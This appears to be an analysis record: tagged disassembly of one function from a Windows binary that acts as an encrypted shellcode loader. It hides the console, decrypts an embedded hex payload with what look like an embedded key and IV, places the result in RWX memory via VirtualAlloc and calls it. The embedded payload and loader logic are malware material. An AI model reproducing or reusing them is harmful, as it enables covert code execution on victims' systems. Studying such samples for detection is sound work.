Function at 0x140002936
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov eax, 0x12190
call fcn.140003af0
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.140002b40
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
lea rax, str.1369ba8c195b829931fca684bb48f32fae15a10d664bda049da207da299652cb218fa8c72b76631d78caaf6ac45d892200dba202bce587a3ab1c0ba89499960342c8d39b66ea2789acfcce67b9fc708d9cc012d57270e5e39f2df0e4785479e748e9fc763c7edbc018d9b231c785e90fc453462fb88ba092be6aac1656aecab004336e75449e3f0eb3411ca6d8b75aae82f91ec6f9f27ebef34db6966658351501fadc30f4d51bd459c0833484017348751533e136ce569fddaf8b47f81a3d1e90470fa8d620211989d8e1d8f58179240a5506fd6bf88f2f227205e15e21d4128be6cb2b3941cfeedc3902a24bdf5524c83576be1a5ebfa147c9c43e7737b719adb3b3b85718fecf10c7b6d589100c8e0eed895d9bc6dc927e5df6fd4968df59a9635cb14eb6e7d08c0fe8ae88408ee304ce42141511d9636cb88a30905c8cc3d245102db5ae8bb9a666dfa519b6a43643f9d80e2e5a1d2a6aabb63c26ae803b41439cc14bbd71ae4ec051a0e6f39ca8bca7149c55661f3b2ff3e1f620a50f3a14db79a575fbf007f41e891dfbb8b201667807503e04adf12da510c868464445c2d39c214751a9068240138bef3ac0109b216c3c49b64c47380a6320898d433861c41c61b2c1473f6b96a5d851e57a470af4cd083d501cc263e9d47034d06a7dbf3a52667174941cc45378a8bffa0d64c56516b7fbb58036f561246cea5e0dd4c80a4955a248e51f71abcfe3d06ce8c76f5db8cdacbe85bf76106b111888205e7086bbed938a6209b6fa49fe56b0972e2b9ad17da3e5418d3655e190ea1d10079187552c5f76e5ebfc503291731a2817ed79e6f11a1b2ecb21f618c8ec55b93d09f7288ce787899501d50e8047743ffb3b2f21a3376fd39831613127534ed8e00705f5e7e7eafb0c5eb95188f384df24a43857135e7b8e71efbf908b8a594b3f1a02e29ba5b973b423b006245a6d4f271ef446be1ab5bff475d62fad63fb071a300cdc94fd8a0e9e2b8cea4745c9a47765e4b974d240864cdd1fd1859886aa29fc103af14af3527f9850785d4f9a7b7c65d188e8265d0d22a3236e0017b765fa7f4f95ab9f0b501d27a69d834a9be753d1f9361a0fd73f547f6fdbe077a014b6f15d0480ee66c1145cf8624da3ed8910d420217974f556d8e094916e1eb95e4eb14095f95b6d69d41b99f12cce22ce53e80edf25a8f63a81215761be6553ede1b0979cab651f583e2179dffd5ac18fccf9b584b20929287716ec7ea24dcebda9865eb52a83e8eaf2041db983ffebc80f70bd4732778a06984e0c2eb1061ec8277df4ee8bc117e824ba5c2b443549e1dd9662417fa55a7dd73a7de549156a5bc58662fe9f8740580094d0b15866973c2518afc83eb922577aabf4c29283ff953318bbd35696a4beb0e1dbc911abf482b9309017b42160e2896485c420fa12dc3737e6a1467bbba23d674fc35c0888abd5d4cce154048fab03f271358e4ec0c09113055bb51d90fc3b8d6dcca5ad3a991c94840a2303047f9177cc0a3994fbf0ce4c43b727d5b07851e7a98f791d63cf56fbd4716ced33a48cab9e4cfc65374d34045cc458c506e8682adb94303a8bb4c7b75b09d2175064d208c6dbcb68691a60831369835887bc3312c8dfd1f1c18f9f31d828760ee3e89e32b28845f799ce5f8284a9159d734ea3c6622d730d422ea85a0c5c751634455eba78c106e21146a6eeb8f1c293997c27d007293d3bcda4a458ed2ccfd7b9682ea10ab299cd401f57e7df2a59d7ed23837a3586962b72ded04d38bb25a9a41aff738c6e8108ce6eac57cd6c1a861c8e6e01d03d0e041a4869811bd82ad4d10d6df2ef609b193395ce68c6699f05845a153439e260e65d60cdad0f558989084150bf3e5964ae1e646021bbc752a13e7ba1338a58571ee8ab4921c3e77c65c2ec43f395c885ae50834c534693d57cbcf538020d569abb0385bc48252602fc4cc97b4947e156fd283736c15b0fc30ad23f3aff9a41082da76dc551d60e4913a3ea58e32d7312fb601ab31e1553a1eac9cd9c6e45e237e993af939b1554b7519a27f39bd14168eb3af1e57d4216cf7788cf568ced27af4644e353481469b47530e1caa06c36ba540e720acf3a462d4b2f252ea8ef2be9c84a9552ba6af7bb5f0a0fda9e5bcca0bf155699c21c7e5b27b27b2cad1a30384dd9ae79a3a18cdfd3d8d619eccf6ccc7c8e2e848748654183405068f819ae65c01a5faf2b0d1ab308413839e22fa25b16da5881a2cdbef2802e00caa9854f279be9b49dd381b626b6cab9e87c7931ac3faaeecf0b7a1a5586239729d01fc0288361dcf6fa992306995692ded7fe0c905a96d107d89e7897403575d3223303bcd6587a14424fc20ae7a31c4c5dd9c4280f7fdcbf02aac5b575890d994f19b49b6495dd7c6a1f44bb2c2181bbd7923818752282f8d3e9e0c249b9b0cba2757e57428294ddbabc9c9e10a9bc1b3f8dddb5c8d24729fea1412e3a7f5a7ed7a3cafe5af899b6c577c848559d5666c360f82d780ee4b94ea2be6bbb7424dc1e48c4c061d3fdf273b5202c6012763e57bf47f029c419e2534d6cf6735f7aa5af4822dfe070a6d0c87dfbc8f28b8c06e48c9973acda61510058e3debc3ecc80f46a4e82aac4bd737fea8f7388b49286f6be0e2a33287dc10713e26e251502bb6448c7c3c291509b58ef0d74306adc095bfbfee477a6ebf8591960d3d247730883a4f8db83d9e829d6c3356cf01ad73465c9c5c3d78a785c2a687f4a6e85e99cda3ba8e84d1357d4c49f95229b3130facffcbc4d3a7a8abba3d5f0dcbe8dff85dd9b91b7e2bb76a46dec05e6dd0210f292c657028318e884aec6e9631b16b1794f0746ebed87190468ef9f10aa29b04311af26b2ae0da52f
mov rcx, rax
call sub.msvcrt.dll_strlen
mov dword [rbp + 0x1210c], eax
lea rax, str.1181524992057ef34b2e7aa2ceb038c6374921a0f6981b4803848c963a22737d
mov rcx, rax
call sub.msvcrt.dll_strlen
mov dword [rbp + 0x12108], eax
lea rax, str.76f534c71a2c854be5d6079252ddbe524d6e8786d6e82a57f7917bd070008478
mov rcx, rax
call sub.msvcrt.dll_strlen
mov dword [rbp + 0x12104], eax
mov eax, dword [rbp + 0x1210c]
movsxd rdx, eax
lea rax, [rbp - 0x20]
mov r8, rdx
mov rdx, rax
lea rax, str.1369ba8c195b829931fca684bb48f32fae15a10d664bda049da207da299652cb218fa8c72b76631d78caaf6ac45d892200dba202bce587a3ab1c0ba89499960342c8d39b66ea2789acfcce67b9fc708d9cc012d57270e5e39f2df0e4785479e748e9fc763c7edbc018d9b231c785e90fc453462fb88ba092be6aac1656aecab004336e75449e3f0eb3411ca6d8b75aae82f91ec6f9f27ebef34db6966658351501fadc30f4d51bd459c0833484017348751533e136ce569fddaf8b47f81a3d1e90470fa8d620211989d8e1d8f58179240a5506fd6bf88f2f227205e15e21d4128be6cb2b3941cfeedc3902a24bdf5524c83576be1a5ebfa147c9c43e7737b719adb3b3b85718fecf10c7b6d589100c8e0eed895d9bc6dc927e5df6fd4968df59a9635cb14eb6e7d08c0fe8ae88408ee304ce42141511d9636cb88a30905c8cc3d245102db5ae8bb9a666dfa519b6a43643f9d80e2e5a1d2a6aabb63c26ae803b41439cc14bbd71ae4ec051a0e6f39ca8bca7149c55661f3b2ff3e1f620a50f3a14db79a575fbf007f41e891dfbb8b201667807503e04adf12da510c868464445c2d39c214751a9068240138bef3ac0109b216c3c49b64c47380a6320898d433861c41c61b2c1473f6b96a5d851e57a470af4cd083d501cc263e9d47034d06a7dbf3a52667174941cc45378a8bffa0d64c56516b7fbb58036f561246cea5e0dd4c80a4955a248e51f71abcfe3d06ce8c76f5db8cdacbe85bf76106b111888205e7086bbed938a6209b6fa49fe56b0972e2b9ad17da3e5418d3655e190ea1d10079187552c5f76e5ebfc503291731a2817ed79e6f11a1b2ecb21f618c8ec55b93d09f7288ce787899501d50e8047743ffb3b2f21a3376fd39831613127534ed8e00705f5e7e7eafb0c5eb95188f384df24a43857135e7b8e71efbf908b8a594b3f1a02e29ba5b973b423b006245a6d4f271ef446be1ab5bff475d62fad63fb071a300cdc94fd8a0e9e2b8cea4745c9a47765e4b974d240864cdd1fd1859886aa29fc103af14af3527f9850785d4f9a7b7c65d188e8265d0d22a3236e0017b765fa7f4f95ab9f0b501d27a69d834a9be753d1f9361a0fd73f547f6fdbe077a014b6f15d0480ee66c1145cf8624da3ed8910d420217974f556d8e094916e1eb95e4eb14095f95b6d69d41b99f12cce22ce53e80edf25a8f63a81215761be6553ede1b0979cab651f583e2179dffd5ac18fccf9b584b20929287716ec7ea24dcebda9865eb52a83e8eaf2041db983ffebc80f70bd4732778a06984e0c2eb1061ec8277df4ee8bc117e824ba5c2b443549e1dd9662417fa55a7dd73a7de549156a5bc58662fe9f8740580094d0b15866973c2518afc83eb922577aabf4c29283ff953318bbd35696a4beb0e1dbc911abf482b9309017b42160e2896485c420fa12dc3737e6a1467bbba23d674fc35c0888abd5d4cce154048fab03f271358e4ec0c09113055bb51d90fc3b8d6dcca5ad3a991c94840a2303047f9177cc0a3994fbf0ce4c43b727d5b07851e7a98f791d63cf56fbd4716ced33a48cab9e4cfc65374d34045cc458c506e8682adb94303a8bb4c7b75b09d2175064d208c6dbcb68691a60831369835887bc3312c8dfd1f1c18f9f31d828760ee3e89e32b28845f799ce5f8284a9159d734ea3c6622d730d422ea85a0c5c751634455eba78c106e21146a6eeb8f1c293997c27d007293d3bcda4a458ed2ccfd7b9682ea10ab299cd401f57e7df2a59d7ed23837a3586962b72ded04d38bb25a9a41aff738c6e8108ce6eac57cd6c1a861c8e6e01d03d0e041a4869811bd82ad4d10d6df2ef609b193395ce68c6699f05845a153439e260e65d60cdad0f558989084150bf3e5964ae1e646021bbc752a13e7ba1338a58571ee8ab4921c3e77c65c2ec43f395c885ae50834c534693d57cbcf538020d569abb0385bc48252602fc4cc97b4947e156fd283736c15b0fc30ad23f3aff9a41082da76dc551d60e4913a3ea58e32d7312fb601ab31e1553a1eac9cd9c6e45e237e993af939b1554b7519a27f39bd14168eb3af1e57d4216cf7788cf568ced27af4644e353481469b47530e1caa06c36ba540e720acf3a462d4b2f252ea8ef2be9c84a9552ba6af7bb5f0a0fda9e5bcca0bf155699c21c7e5b27b27b2cad1a30384dd9ae79a3a18cdfd3d8d619eccf6ccc7c8e2e848748654183405068f819ae65c01a5faf2b0d1ab308413839e22fa25b16da5881a2cdbef2802e00caa9854f279be9b49dd381b626b6cab9e87c7931ac3faaeecf0b7a1a5586239729d01fc0288361dcf6fa992306995692ded7fe0c905a96d107d89e7897403575d3223303bcd6587a14424fc20ae7a31c4c5dd9c4280f7fdcbf02aac5b575890d994f19b49b6495dd7c6a1f44bb2c2181bbd7923818752282f8d3e9e0c249b9b0cba2757e57428294ddbabc9c9e10a9bc1b3f8dddb5c8d24729fea1412e3a7f5a7ed7a3cafe5af899b6c577c848559d5666c360f82d780ee4b94ea2be6bbb7424dc1e48c4c061d3fdf273b5202c6012763e57bf47f029c419e2534d6cf6735f7aa5af4822dfe070a6d0c87dfbc8f28b8c06e48c9973acda61510058e3debc3ecc80f46a4e82aac4bd737fea8f7388b49286f6be0e2a33287dc10713e26e251502bb6448c7c3c291509b58ef0d74306adc095bfbfee477a6ebf8591960d3d247730883a4f8db83d9e829d6c3356cf01ad73465c9c5c3d78a785c2a687f4a6e85e99cda3ba8e84d1357d4c49f95229b3130facffcbc4d3a7a8abba3d5f0dcbe8dff85dd9b91b7e2bb76a46dec05e6dd0210f292c657028318e884aec6e9631b16b1794f0746ebed87190468ef9f10aa29b04311af26b2ae0da52f
mov rcx, rax
call fcn.1400028aa
mov eax, dword [rbp + 0x12108]
movsxd rdx, eax
lea rax, [rbp - 0x40]
mov r8, rdx
mov rdx, rax
lea rax, str.1181524992057ef34b2e7aa2ceb038c6374921a0f6981b4803848c963a22737d
mov rcx, rax
call fcn.1400028aa
mov eax, dword [rbp + 0x12104]
movsxd rdx, eax
lea rax, [rbp - 0x60]
mov r8, rdx
mov rdx, rax
lea rax, str.76f534c71a2c854be5d6079252ddbe524d6e8786d6e82a57f7917bd070008478
mov rcx, rax
call fcn.1400028aa
lea rcx, [rbp - 0x60]
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x12030]
mov r8, rcx
mov rcx, rax
call fcn.14000171b
lea rdx, [rbp - 0x20]
lea rax, [rbp + 0x12030]
mov r8d, 0x1204a
mov rcx, rax
call fcn.14000270f
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1204a
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x120f8], rax
mov rax, qword [rbp + 0x120f8]
mov rcx, rax
lea rax, [rbp - 0x20]
mov edx, 0x1204a
mov r8, rdx
mov rdx, rax
call sub.msvcrt.dll_memcpy
mov rax, qword [rbp + 0x120f8]
call rax
mov eax, 0
add rsp, 0x12190
pop rbp
ret